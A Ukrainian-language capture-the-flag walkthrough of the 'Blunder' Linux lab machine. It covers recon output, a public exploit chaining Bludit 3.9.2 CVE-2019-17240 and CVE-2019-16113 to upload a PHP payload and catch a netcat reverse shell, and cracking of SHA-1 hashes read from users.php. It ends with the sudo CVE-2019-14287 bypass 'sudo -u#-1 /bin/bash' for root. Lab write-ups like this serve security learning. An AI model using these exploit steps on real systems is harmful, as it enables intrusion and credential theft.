Стартуємо з Blunder - Linux машини легкого рівня.
Розвідка
Збір інформації почнемо з autorecon:
$ autorecon x.x.x.x --single-target --no-port-dirs
Результат Nmap:
PORT STATE SERVICE REASON VERSION
21/tcp closed ftp conn-refused
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
Результат feroxbuster:
500 GET 2l 4w 28c http://x.x.x.x/bl-themes/blogx/
200 GET 2l 1276w 88145c http://x.x.x.x/bl-kernel/js/jquery.min.js
200 GET 6l 1963w 155712c http://x.x.x.x/bl-kernel/css/bootstrap.min.css
200 GET 115l 200w 1404c http://x.x.x.x/bl-themes/blogx/css/style.css
200 GET 6l 30w 1894c http://x.x.x.x/bl-themes/blogx/img/favicon.png
200 GET 6l 987w 78586c http://x.x.x.x/bl-kernel/js/bootstrap.bundle.min.js
200 GET 170l 918w 7562c http://x.x.x.x/
200 GET 28l 28w 563c http://x.x.x.x/.gitignore
200 GET 170l 918w 7562c http://x.x.x.x/0
200 GET 21l 171w 1083c http://x.x.x.x/LICENSE
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/img/favicon.png
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/css/bootstrap.min.css
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/js/bootstrap.bundle.min.js
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.css
200 GET 70l 157w 2385c http://x.x.x.x/admin/text/css
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css
200 GET 70l 157w 2385c http://x.x.x.x/admin/bl-kernel/js/jquery.min.js
200 GET 70l 157w 2385c http://x.x.x.x/admin/image/x-icon
200 GET 70l 157w 2385c http://x.x.x.x/admin/
200 GET 1l 5w 30c http://x.x.x.x/install.php
200 GET 2l 4w 22c http://x.x.x.x/robots.txt
200 GET 4l 23w 118c http://x.x.x.x/todo.txt
Передивившись знахідки, можна відмітити для себе логін форму у CMS Bludit і todo.txt файл, у якому згадується такий собі fergus. Спроба перебору паролів за допомогою hydra з використанням кількох словників для користувача fergus не принесла бажаного результату.
Наступний крок - перевірити публічні експлойти для даної CMS(переглянувши HTML код вебсторінки, бачимо що версія аплікації 3.9.2). Знаходимо те, що нам потрібно в Exploit-DB Bludit 3.9.2 - Auth Bruteforce Bypass - PHP webapps Exploit і Bludit 3.9.2 - Directory Traversal - Multiple webapps Exploit.
CVE-2019-17240 - bl-kernel/security.class.php у Bludit 3.9.2 дозволяє атакуючому обійти механізм захисту від атак методом прямого перебору шляхом підробки X-Forwarded-For або Client-IP HTTP заголовків. Більше деталей тут.
CVE-2019-16113 - bl-kernel/ajax/upload-images.php у Bludit 3.9.2 має вразливість, яка дозволяє атакуючому здійснити віддалене виконання коду. Зловмисник може завантажити jpg/png файл, що містить PHP код і виконати його, перейшовши за посиланням на завантажений файл(наприклад ../bl-content/tmp/temp/evil.png)
Первинне проникнення
На щастя, добра людина створила код, який поєднує експлуатацію обох цих вразливостей(не забудьте запустити netcat/інший інструмент на ваш смак у режимі прослуховування порту). Однак, запустивши скрипт декілька разів з різними словниками, правильний пароль так і не був знайдений. Кілька разів вже попадалась на цьому на інших машинах - скоріше за все потрібен кастомізований словник, який можна згенерувати за допомогою cewl:
$ cewl http://x.x.x.x --with-numbers | grep -v CeWL >> custom-wordlist.txt
Згенерований словник спрацював чудово, ми знайшли пароль для користувача fergus і отримали reverse shell з нашого таргету.
$ python3 poc.py
_____ _ ______ _____ _____
| __ \ | | | ___ \/ __ \| ___|
| | \/ ___| |_ | |_/ /| / \/| |__
| | __ / _ \ __| | / | | | __|
| |_\ \ __/ |_ _| |\ \ | \__/\| |___
\____/\___|\__(_)_| \_| \____/\____/
This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target.
Created by: kisho64 (@h_a_m_i__)
Enter target URL (i.e. https://target.com): http://x.x.x.x
[ ~ ] Enter listener's IP: y.y.y.y
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): fergus
[ ~ ] Enter the location for password list: custom-wordlist.txt
[ * ] Tried: somepass
[ * ] Tried: anotherpass
[ * ] Tried: morepass
[ * ] Tried: passwordagain
[ + ] Creds found: fergus:correctpassword
[...] Attempting to login now...
[ + ] Login succeed... We are good to go :)
[ + ] The payload hPCHDONKfL.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
[ + ] You should be getting a shell by now, if not open http://x.x.x.x/bl-content/tmp/hPCHDONKfL.php
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 43584
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
Горизонтальне підвищення привілеїв
Озирнувшись трохи довкола, бачимо, що на машині є два облікових записи; user.txt файл знаходиться у домашній директорії користувача hugo і ми не маємо до неї доступу як www-data. Проінспектувавши цікаві файли в директорії, натрапляємо на /var/www/bludit-3.9.2/bl-content/databases/users.php файл, який містить хешовані(SHA-1) паролі для користувачів admin і fergus. Спроба отримати пароль для адміністратора не принесла результатів, тому рухаємось далі. Продовжуючи дослідження, бачимо, що /var/www/ містить директорію для новішої версії Bludit. Перевіряємо users.php файл для цієї версії і знаходимо хеш пароля для користувача hugo:
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
.....
Цей хеш не піддався hashcat(не всі словники панацея), зате Crackstation впорався чудово і тепер ми маємо пароль для користувача hugo.
www-data@blunder:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@blunder:/$ su - hugo
Password: hehehe
hugo@blunder:~$
Вертикальне підвищення привілеїв
Підвищення привілеїв до root на цій машині виявилось доволі швидким. Переглянемо список команд, які користувач hugo може виконувати з правами супер користувача:
hugo@blunder:~$ sudo -l
Password: hehehe
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
Нас цікавить останній рядок, скористаємось гугл-пошуком і одразу знаходимо sudo 1.8.27 - Security Bypass в Exploit-DB.
CVE-2019-14287 - вразливість у версіях Sudo <1.8.28, яка дозволяє користувачам обійти механізми безпеки sudo і підвищити свої привілеї у системі; дозволяє sudo-користувачам виконувати команди як root, навіть якщо налаштування явно забороняють це.
Налаштування для користувача hugo говорять нам, що він може запускати /bin/bash як будь-який інший користувач, окрім root. Спробуємо застосувати знайдену техніку обходу цих налаштувань і отримуємо доступ до root:
hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: hehehe
root@blunder:/home/hugo# cd /root
root@blunder:/root# ls
log reset.sh root.txt snap
Після вирішення машини(або навіть під час, якщо застряг) буває корисно і цікаво подивитись проходження від більш тямущих людей, щоб глибше зрозуміти технічні деталі та моменти, які проґавив.